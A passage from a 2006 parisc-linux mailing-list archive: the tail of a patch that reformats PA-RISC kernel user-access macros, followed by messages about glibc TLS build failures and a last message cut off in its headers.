 "r1");=0A+		: "r1"					\=0A+	)=0A =0A-#define __get_user_asm(ldx,ptr)   =
                      \=0A-	__asm__("\n1:\t" ldx "\t0(%%sr3,%2),%0\n"    =
   \=0A-		"\t.section __ex_table,\"aw\"\n"	\=0A-		"\t.dword\t1b,fixup_get=
_user_skip_1\n"	\=0A-		"\t.previous"				\=0A-		: "=3Dr"(__gu_val), "=3Dr"=
(__gu_err)        \=0A+#define __get_user_asm(ldx, ptr)			\=0A+	__asm__ (=
"\n"					\=0A+	"1:	" ldx "		0(%%sr3, %2), %0\n"	\=0A+	"	.section __ex_tab=
le,\"aw\"\n"		\=0A+	"	.dword	1b, fixup_get_user_skip_1\n"	\=0A+	"	.previo=
us"				\=0A+		: "=3Dr"(__gu_val), "=3Dr"(__gu_err)	\=0A 		: "r"(ptr), "1"=
(__gu_err)		\=0A-		: "r1");=0A+		: "r1"					\=0A+	)=0A #else=0A-#define _=
_get_kernel_asm(ldx,ptr)                       \=0A-	__asm__("\n1:\t" ldx=
 "\t0(%2),%0\n"             \=0A-		"\t.section __ex_table,\"aw\"\n"      =
  \=0A-		"\t.word\t1b,fixup_get_user_skip_1\n"	\=0A-		"\t.previous"      =
                    	\=0A-		: "=3Dr"(__gu_val), "=3Dr"(__gu_err)        \=
=0A+#define __get_kernel_asm(ldx, ptr)			\=0A+	__asm__ ("\n"					\=0A+	"1=
:	" ldx "		0(%2), %0\n"		\=0A+	"	.section __ex_table,\"aw\"\n"		\=0A+	"	.=
word	1b, fixup_get_user_skip_1\n"	\=0A+	"	.previous"				\=0A+		: "=3Dr"(_=
_gu_val), "=3Dr"(__gu_err)	\=0A 		: "r"(ptr), "1"(__gu_err)		\=0A-		: "r1=
");=0A+		: "r1"					\=0A+	)=0A =0A-#define __get_user_asm(ldx,ptr)       =
                  \=0A-	__asm__("\n1:\t" ldx "\t0(%%sr3,%2),%0\n"       \=
=0A-		"\t.section __ex_table,\"aw\"\n"	\=0A-		 "\t.word\t1b,fixup_get_use=
r_skip_1\n"	\=0A-		 "\t.previous"                          \=0A-		: "=3Dr=
"(__gu_val), "=3Dr"(__gu_err)        \=0A+#define __get_user_asm(ldx, ptr=
)			\=0A+	__asm__ ("\n"					\=0A+	"1:	" ldx "		0(%%sr3, %2), %0\n"	\=0A+	=
"	.section __ex_table,\"aw\"\n"		\=0A+	"	.word	1b, fixup_get_user_skip_1\=
n"	\=0A+	"	.previous"				\=0A+		: "=3Dr"(__gu_val), "=3Dr"(__gu_err)	\=0A=
 		: "r"(ptr), "1"(__gu_err)		\=0A-		: "r1");=0A+		: "r1"					\=0A+	)=0A =
#endif /* !__LP64__ */=0A =0A-#define __put_user(x,ptr)                  =
                     \=0A-({								\=0A-	register long __pu_err __asm__ =
("r8") =3D 0;      	\=0A-        __typeof__(*(ptr)) __x =3D (__typeof__(*=
(ptr)))(x);	\=0A-								\=0A-	if (segment_eq(get_fs(),KERNEL_DS)) {     =
              \=0A-	    switch (sizeof(*(ptr))) {                        =
   \=0A-	    case 1: __put_kernel_asm("stb",__x,ptr); break;     \=0A-	  =
  case 2: __put_kernel_asm("sth",__x,ptr); break;     \=0A-	    case 4: _=
_put_kernel_asm("stw",__x,ptr); break;     \=0A-	    case 8: STD_KERNEL(_=
_x,ptr); break;			\=0A-	    default: __put_kernel_bad(); break;			\=0A-	 =
   }                                                   \=0A-	}           =
                                            \=0A-	else {                 =
                                 \=0A-	    switch (sizeof(*(ptr))) {     =
                      \=0A-	    case 1: __put_user_asm("stb",__x,ptr); br=
eak;       \=0A-	    case 2: __put_user_asm("sth",__x,ptr); break;       =
\=0A-	    case 4: __put_user_asm("stw",__x,ptr); break;       \=0A-	    c=
ase 8: STD_USER(__x,ptr); break;			\=0A-	    default: __put_user_bad(); b=
reak;			\=0A-	    }                                                   \=0A=
-	}                                                       \=0A-								\=0A=
-	__pu_err;						\=0A+#define __put_user(x, ptr)	({					\=0A+									\=0A=
+	register long __pu_err __asm__ ("r8") =3D 0;			\=0A+        __typeof__(=
*(ptr)) __x =3D (__typeof__(*(ptr)))(x);		\=0A+									\=0A+	if (segment=
_eq(get_fs(),KERNEL_DS)) {				\=0A+		switch (sizeof(*(ptr))) {				\=0A+		=
	case 1: __put_kernel_asm("stb", __x, ptr);	\=0A+				break;					\=0A+			c=
ase 2: __put_kernel_asm("sth", __x, ptr);	\=0A+				break;					\=0A+			cas=
e 4: __put_kernel_asm("stw", __x, ptr);	\=0A+				break;					\=0A+			case =
8: STD_KERNEL(__x, ptr);			\=0A+				break;					\=0A+			default: __put_ker=
nel_bad();			\=0A+				break;					\=0A+		}							\=0A+	} else {							\=0A=
+		switch (sizeof(*(ptr))) {				\=0A+			case 1: __put_user_asm("stb", __x=
, ptr);	\=0A+				break;					\=0A+			case 2: __put_user_asm("sth", __x, pt=
r);	\=0A+				break;					\=0A+			case 4: __put_user_asm("stw", __x, ptr);	=
\=0A+				break;					\=0A+			case 8: STD_USER(__x, ptr);			\=0A+				break;=
					\=0A+			default: __put_user_bad();			\=0A+				break;					\=0A+		}			=
				\=0A+	}								\=0A+	__pu_err;							\=0A })=0A =0A /*=0A@@ -176,75 +=
201,82 @@=0A  */=0A =0A #ifdef __LP64__=0A-#define __put_kernel_asm(stx,x=
,ptr)                         \=0A-	__asm__ __volatile__ (               =
               \=0A-		"\n1:\t" stx "\t%2,0(%1)\n"                 \=0A-		=
"\t.section __ex_table,\"aw\"\n"            \=0A-		"\t.dword\t1b,fixup_pu=
t_user_skip_1\n"	    \=0A-		"\t.previous"                               \=
=0A-		: "=3Dr"(__pu_err)                            \=0A-		: "r"(ptr), "r=
"(x), "0"(__pu_err))=0A-=0A-#define __put_user_asm(stx,x,ptr)            =
               \=0A-	__asm__ __volatile__ (                              =
\=0A-		"\n1:\t" stx "\t%2,0(%%sr3,%1)\n"           \=0A-		"\t.section __e=
x_table,\"aw\"\n"            \=0A-		 "\t.dword\t1b,fixup_put_user_skip_1\=
n"	    \=0A-		 "\t.previous"                              \=0A-		: "=3Dr"=
(__pu_err)                            \=0A-		: "r"(ptr), "r"(x), "0"(__pu=
_err)	    \=0A-		: "r1")=0A+#define __put_kernel_asm(stx, x, ptr)			\=0A+=
	__asm__ __volatile__ ("\n"			\=0A+	"1:	" stx "		%2, 0(%1)\n"		\=0A+	"	.s=
ection __ex_table,\"aw\"\n"		\=0A+	"	.dword	1b, fixup_put_user_skip_1\n"	=
\=0A+	"	.previous"				\=0A+		: "=3Dr"(__pu_err)			\=0A+		: "r"(ptr), "r"(=
x), "0"(__pu_err)	\=0A+		: "r1"					\=0A+	)=0A+=0A+#define __put_user_asm=
(stx, x, ptr)			\=0A+	__asm__ __volatile__ ("\n"			\=0A+	"1:	" stx "		%2,=
 0(%%sr3, %1)\n"	\=0A+	"	.section __ex_table,\"aw\"\n"		\=0A+	"	.dword	1b=
, fixup_put_user_skip_1\n"    \=0A+	"	.previous"				\=0A+		: "=3Dr"(__pu_=
err)			\=0A+		: "r"(ptr), "r"(x), "0"(__pu_err)	\=0A+		: "r1"					\=0A+	)=
=0A #else=0A-#define __put_kernel_asm(stx,x,ptr)                         =
\=0A-	__asm__ __volatile__ (                              \=0A-		"\n1:\t"=
 stx "\t%2,0(%1)\n"                 \=0A-		"\t.section __ex_table,\"aw\"\=
n"            \=0A-		 "\t.word\t1b,fixup_put_user_skip_1\n"	    \=0A-		 "=
\t.previous"                              \=0A-		: "=3Dr"(__pu_err)      =
                      \=0A-		: "r"(ptr), "r"(x), "0"(__pu_err)	    \=0A-	=
	: "r1")=0A-=0A-#define __put_user_asm(stx,x,ptr)                        =
   \=0A-	__asm__ __volatile__ (                              \=0A-		"\n1:=
\t" stx "\t%2,0(%%sr3,%1)\n"           \=0A-		"\t.section __ex_table,\"aw=
\"\n"            \=0A-		 "\t.word\t1b,fixup_put_user_skip_1\n"      \=0A-=
		 "\t.previous"                              \=0A-		: "=3Dr"(__pu_err)  =
                          \=0A-		: "r"(ptr), "r"(x), "0"(__pu_err)	    \=0A=
-		: "r1")=0A-=0A-#define __put_kernel_asm64(__val,ptr) do {		    	    \=0A=
-	u64 __val64 =3D (u64)(__val);				    \=0A-	u32 hi =3D (__val64) >> 32;	=
				    \=0A-	u32 lo =3D (__val64) & 0xffffffff;				    \=0A-	__asm__ __v=
olatile__ (				    \=0A-		"\n1:\tstw %2,0(%1)\n"			    \=0A-		"\n2:\tstw =
%3,4(%1)\n"			    \=0A-		"\t.section __ex_table,\"aw\"\n"	    \=0A-		 "\t=
.word\t1b,fixup_put_user_skip_2\n"	    \=0A-		 "\t.word\t2b,fixup_put_use=
r_skip_1\n"	    \=0A-		 "\t.previous"				    \=0A-		: "=3Dr"(__pu_err)   =
                         \=0A-		: "r"(ptr), "r"(hi), "r"(lo), "0"(__pu_er=
r) \=0A-		: "r1");				    \=0A+#define __put_kernel_asm(stx, x, ptr)			\=0A=
+	__asm__ __volatile__ ("\n"			\=0A+	"1:	" stx "		%2, 0(%1)\n"		\=0A+	"	.=
section __ex_table,\"aw\"\n"		\=0A+	"	.word	1b, fixup_put_user_skip_1\n"	=
\=0A+	"	.previous"				\=0A+		: "=3Dr"(__pu_err)			\=0A+		: "r"(ptr), "r"(=
x), "0"(__pu_err)	\=0A+		: "r1"					\=0A+	)=0A+=0A+#define __put_user_asm=
(stx, x, ptr)			\=0A+	__asm__ __volatile__ ("\n"			\=0A+	"1:	" stx "		%2,=
 0(%%sr3, %1)\n"	\=0A+	"	.section __ex_table,\"aw\"\n"		\=0A+	"	.word	1b,=
 fixup_put_user_skip_1\n"	\=0A+	"	.previous"				\=0A+		: "=3Dr"(__pu_err)=
			\=0A+		: "r"(ptr), "r"(x), "0"(__pu_err)	\=0A+		: "r1"					\=0A+	)=0A+=
=0A+#define __put_kernel_asm64(__val, ptr) do {			\=0A+	u64 __val64 =3D (=
u64)(__val);				\=0A+	u32 hi =3D (__val64) >> 32;				\=0A+	u32 lo =3D (__=
val64) & 0xffffffff;			\=0A+	__asm__ __volatile__ ("\n"				\=0A+	"1:	stw	=
	%2, 0(%1)\n"			\=0A+	"2:	stw		%3, 4(%1)\n"			\=0A+	"	.section __ex_table=
,\"aw\"\n"			\=0A+	"	.word	1b, fixup_put_user_skip_2\n"		\=0A+	"	.word	2b=
, fixup_put_user_skip_1\n"		\=0A+	"	.previous"					\=0A+		: "=3Dr"(__pu_e=
rr)				\=0A+		: "r"(ptr), "r"(hi), "r"(lo), "0"(__pu_err)	\=0A+		: "r1"		=
				\=0A+	);							\=0A } while (0)=0A =0A-#define __put_user_asm64(__val=
,ptr) do {		    	    \=0A-	u64 __val64 =3D (u64)__val;				    \=0A-	u32 h=
i =3D (__val64) >> 32;					    \=0A-	u32 lo =3D (__val64) & 0xffffffff;		=
		    \=0A-	__asm__ __volatile__ (				    \=0A-		"\n1:\tstw %2,0(%%sr3,%1=
)\n"		    \=0A-		"\n2:\tstw %3,4(%%sr3,%1)\n"		    \=0A-		"\t.section __e=
x_table,\"aw\"\n"	    \=0A-		 "\t.word\t1b,fixup_get_user_skip_2\n"	    \=
=0A-		 "\t.word\t2b,fixup_get_user_skip_1\n"	    \=0A-		 "\t.previous"			=
	    \=0A-		: "=3Dr"(__pu_err)                            \=0A-		: "r"(pt=
r), "r"(hi), "r"(lo), "0"(__pu_err) \=0A-		: "r1");				    \=0A+#define _=
_put_user_asm64(__val, ptr) do {			\=0A+	u64 __val64 =3D (u64)__val;				\=
=0A+	u32 hi =3D (__val64) >> 32;				\=0A+	u32 lo =3D (__val64) & 0xffffff=
ff;			\=0A+	__asm__ __volatile__ ("\n"				\=0A+	"1:	stw		%2, 0(%%sr3, %1)=
\n"		\=0A+	"2:	stw		%3, 4(%%sr3, %1)\n"		\=0A+	"	.section __ex_table,\"aw=
\"\n"			\=0A+	"	.word	1b, fixup_get_user_skip_2\n"		\=0A+	"	.word	2b, fix=
up_get_user_skip_1\n"		\=0A+	"	.previous"					\=0A+		: "=3Dr"(__pu_err)		=
		\=0A+		: "r"(ptr), "r"(hi), "r"(lo), "0"(__pu_err)	\=0A+		: "r1"						\=
=0A+	);							\=0A } while (0)=0A =0A #endif /* !__LP64__ */=0A@@ -256,7 =
+288,8 @@=0A =0A extern unsigned long lcopy_to_user(void __user *, const =
void *, unsigned long);=0A extern unsigned long lcopy_from_user(void *, c=
onst void __user *, unsigned long);=0A-extern unsigned long lcopy_in_user=
(void __user *, const void __user *, unsigned long);=0A+extern unsigned l=
ong lcopy_in_user(void __user *, const void __user *,=0A+					unsigned lo=
ng);=0A extern long lstrncpy_from_user(char *, const char __user *, long)=
;=0A extern unsigned lclear_user(void __user *,unsigned long);=0A extern =
long lstrnlen_user(const char __user *,long);=0A@@ -265,19 +298,24 @@=0A =
 * Complex access routines -- macros=0A  */=0A =0A-#define strncpy_from_u=
ser lstrncpy_from_user=0A-#define strnlen_user lstrnlen_user=0A-#define s=
trlen_user(str) lstrnlen_user(str, 0x7fffffffL)=0A-#define clear_user lcl=
ear_user=0A-#define __clear_user lclear_user=0A-=0A-unsigned long copy_to=
_user(void __user *dst, const void *src, unsigned long len);=0A-#define _=
_copy_to_user copy_to_user=0A-unsigned long copy_from_user(void *dst, con=
st void __user *src, unsigned long len);=0A-#define __copy_from_user copy=
_from_user=0A-unsigned long copy_in_user(void __user *dst, const void __u=
ser *src, unsigned long len);=0A-#define __copy_in_user copy_in_user=0A-#=
define __copy_to_user_inatomic __copy_to_user=0A-#define __copy_from_user=
_inatomic __copy_from_user=0A+#define strncpy_from_user	lstrncpy_from_use=
r=0A+#define strnlen_user		lstrnlen_user=0A+#define strlen_user(str)	lstr=
nlen_user(str, 0x7fffffffL)=0A+#define clear_user		lclear_user=0A+#define=
 __clear_user		lclear_user=0A+=0A+unsigned long copy_to_user(void __user =
*dst, const void *src,=0A+				unsigned long len);=0A+#define __copy_to_us=
er	copy_to_user=0A+=0A+unsigned long copy_from_user(void *dst, const void=
 __user *src,=0A+				unsigned long len);=0A+#define __copy_from_user 	cop=
y_from_user=0A+=0A+unsigned long copy_in_user(void __user *dst, const voi=
d __user *src,=0A+				unsigned long len);=0A+#define __copy_in_user			cop=
y_in_user=0A+#define __copy_to_user_inatomic		__copy_to_user=0A+#define _=
_copy_from_user_inatomic	__copy_from_user=0A =0A #endif /* __PARISC_UACCE=
SS_H */=0A
--_=__=_XaM3_.1144748258.2A.816162.42.473.52.42.007.1772815055
Content-Type: text/plain; charset="us-ascii"
MIME-Version: 1.0
Content-Transfer-Encoding: 7bit
Content-Disposition: inline

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
--_=__=_XaM3_.1144748258.2A.816162.42.473.52.42.007.1772815055--



From - Thu Nov 08 21:34:35 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carlos O'Donell" <carlos@systemhalted.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Build failures close in at the cusp of being done.
Date: Wed, 12 Apr 2006 10:15:05 -0400
Lines: 38
Approved: news@gmane.org
Message-ID: <119aab440604120715k57ee6eb1r403b142cd33ecb26@mail.gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=ISO-8859-1
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416624052 18920 80.91.229.3 (22 Nov 2014 02:40:52 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:40:52 +0000 (UTC)
To: "Randolph Chung" <randolph@tausq.org>,
 "John David Anglin" <dave@hiauly1.hia.nrc.ca>,
 parisc-linux <parisc-linux@lists.parisc-linux.org>
Original-X-From: - Wed Jul 02 21:27:30 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 12 Apr 2006 14:15:14 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx015) with SMTP; 12 Apr 2006 16:15:14 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 9408C7D6EC;
	Wed, 12 Apr 2006 08:15:10 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 10552-08; Wed, 12 Apr 2006 08:15:10 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 57D437D6F2;
	Wed, 12 Apr 2006 08:15:09 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 9545F7D6CB
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 12 Apr 2006 08:15:06 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 10552-05 for <parisc-linux@lists.parisc-linux.org>;
	Wed, 12 Apr 2006 08:15:05 -0600 (MDT)
Original-Received: from zproxy.gmail.com (zproxy.gmail.com [64.233.162.198])
	by free.linux.hp.com (Postfix) with ESMTP id BBD937D6C8
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 12 Apr 2006 08:15:05 -0600 (MDT)
Original-Received: by zproxy.gmail.com with SMTP id 18so1659948nzp
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 12 Apr 2006 07:15:05 -0700 (PDT)
DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=beta; d=gmail.com;
	h=received:message-id:date:from:sender:to:subject:mime-version:content-type:content-transfer-encoding:content-disposition;
	b=TrXpqlV1EUuZT5+8VxYpA/0bxTa24O1GXKaYCLvQHhGItBBhmnv26XSRpKAnVulboWXhyef5h22L56CM2HX7OWosIpzhXQNxGSO3fER3RdMA3MXuitLDQW1lvK9ojDv7dRQmkZQC4AqvjbNHY7m6Tn+8JOnnHs9ZxrTuEdBLTjM=
Original-Received: by 10.36.251.31 with SMTP id y31mr51148nzh;
	Wed, 12 Apr 2006 07:15:05 -0700 (PDT)
Original-Received: by 10.36.72.10 with HTTP; Wed, 12 Apr 2006 07:15:05 -0700 (PDT)
Content-Disposition: inline
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: SjkEcdBieWU7sreUfHVzcU05U3U4N8+q
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23567

1. Checkout mainline binutils.
2. Merge our tls patches locally.
3. Checkout mainline gcc.
4. Checkout libc, libc-port, linuxthreads.
5. Merge our TLS patches into binutils locally (only tls, not opd).
6. Build and install binutils.
7. Build and install gcc with the newly installed binutils.
8. Build glibc with the newly installed binutils and gcc.

We are getting close!
~~~~~~~~~~~~~~~~~~~~~
/home/carlos/fsrc/glibc-work/builds/libc/libc_pic.os: In function `__getcwd=
':
../sysdeps/unix/sysv/linux/getcwd.c:90: undefined reference to `MAX'
/home/carlos/fsrc/glibc-work/builds/libc/libc_pic.os: In function `inet_nto=
a':
/mnt/flaire/src/glibc-work/src/libc/inet/inet_ntoa.c:35: undefined
reference to `__tls_get_addr'
collect2: ld returned 1 exit status
make[1]: *** [/home/carlos/fsrc/glibc-work/builds/libc/libc.so] Error 1
make[1]: Leaving directory `/mnt/flaire/src/glibc-work/src/libc'
make: *** [all] Error 2
~~~~~~~~~~~~~~~~~~~~~

I double checked we had a __tls_get_addr definition for our
libc-tls.c, but it looks like the function might be miscompiled. Any
hints are appreciated. I'm utterly puzzled by the missing definition
of MAX, which should be a macro. It looks like I missed some implied
includes.

Cheers,
Carlos.
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:35 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carlos O'Donell" <carlos@systemhalted.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: Build failures close in at the cusp of being
	done.
Date: Wed, 12 Apr 2006 15:35:29 -0400
Lines: 31
Approved: news@gmane.org
Message-ID: <119aab440604121235l5f9843f5jff688f26800e31b5@mail.gmail.com>
References: <119aab440604120715k57ee6eb1r403b142cd33ecb26@mail.gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=ISO-8859-1
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416624052 18923 80.91.229.3 (22 Nov 2014 02:40:52 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:40:52 +0000 (UTC)
To: "Randolph Chung" <randolph@tausq.org>,
 "John David Anglin" <dave@hiauly1.hia.nrc.ca>,
 parisc-linux <parisc-linux@lists.parisc-linux.org>
Original-X-From: - Wed Jul 02 21:27:30 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 12 Apr 2006 19:35:39 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx045) with SMTP; 12 Apr 2006 21:35:39 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id B2AF57D719;
	Wed, 12 Apr 2006 13:35:34 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 12810-08; Wed, 12 Apr 2006 13:35:34 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 4E80D7D6FC;
	Wed, 12 Apr 2006 13:35:33 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 96CCB7D6F8
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 12 Apr 2006 13:35:30 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 12876-02 for <parisc-linux@lists.parisc-linux.org>;
	Wed, 12 Apr 2006 13:35:29 -0600 (MDT)
Original-Received: from zproxy.gmail.com (zproxy.gmail.com [64.233.162.195])
	by free.linux.hp.com (Postfix) with ESMTP id BD0277D6F5
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 12 Apr 2006 13:35:29 -0600 (MDT)
Original-Received: by zproxy.gmail.com with SMTP id 18so1747537nzp
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 12 Apr 2006 12:35:29 -0700 (PDT)
DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=beta; d=gmail.com;
	h=received:message-id:date:from:sender:to:subject:in-reply-to:mime-version:content-type:content-transfer-encoding:content-disposition:references;
	b=Z2BVMC6ZjMj54yRkns6gcIm/Y6wMqf+o2yTZzlO8BikYEfsO80q0MZGuzsivzcpXWsOWwWSZdiL6M7l9gOqCR6vFGYFKXu4774ILNKFQkN6fzmYOcLnc5z96OlwXFExOB86jIvaJHfm4qH5uqXZ6SnoqKztFVngD7irAMvih3jg=
Original-Received: by 10.36.13.3 with SMTP id 3mr533817nzm;
	Wed, 12 Apr 2006 12:35:29 -0700 (PDT)
Original-Received: by 10.36.72.10 with HTTP; Wed, 12 Apr 2006 12:35:29 -0700 (PDT)
In-Reply-To: <119aab440604120715k57ee6eb1r403b142cd33ecb26@mail.gmail.com>
Content-Disposition: inline
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: uGQPd1A0PTRt7OjGPjIwMzIxc2tpZAs7
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23568

On 4/12/06, Carlos O'Donell <carlos@systemhalted.org> wrote:
> We are getting close!
> ~~~~~~~~~~~~~~~~~~~~~
> /home/carlos/fsrc/glibc-work/builds/libc/libc_pic.os: In function `__getc=
wd':
> ../sysdeps/unix/sysv/linux/getcwd.c:90: undefined reference to `MAX'
> /home/carlos/fsrc/glibc-work/builds/libc/libc_pic.os: In function `inet_n=
toa':
> /mnt/flaire/src/glibc-work/src/libc/inet/inet_ntoa.c:35: undefined
> reference to `__tls_get_addr'
> collect2: ld returned 1 exit status
> make[1]: *** [/home/carlos/fsrc/glibc-work/builds/libc/libc.so] Error 1
> make[1]: Leaving directory `/mnt/flaire/src/glibc-work/src/libc'
> make: *** [all] Error 2
> ~~~~~~~~~~~~~~~~~~~~~

I think the missing __tls_get_addr reference is because without the
linuxthreads tls.h we don't enable the libc-tls.c reference (note it's
wrapped in #ifdef USE_TLS). The output object file is empty, and the
definition is definately nop'd out.

I'll see what I can do to fix that.

Cheers,
Carlos.
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:35 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carlos O'Donell" <carlos@systemhalted.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] hppa DIR21L and DIR14R relocs against read-only data?
Date: Wed, 12 Apr 2006 23:34:09 -0400
Lines: 65
Approved: news@gmane.org
Message-ID: <119aab440604122034t1feabb5ftcfa14bc49d79c6cf@mail.gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=ISO-8859-1
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416624053 18926 80.91.229.3 (22 Nov 2014 02:40:53 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:40:53 +0000 (UTC)
To: "Randolph Chung" <randolph@tausq.org>,
 "John David Anglin" <dave@hiauly1.hia.nrc.ca>,
 parisc-linux <parisc-linux@lists.parisc-linux.org>
Original-X-From: - Wed Jul 02 21:27:30 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 13 Apr 2006 03:34:20 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx006) with SMTP; 13 Apr 2006 05:34:20 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 7D6607D728;
	Wed, 12 Apr 2006 21:34:15 -0600 (MDT)
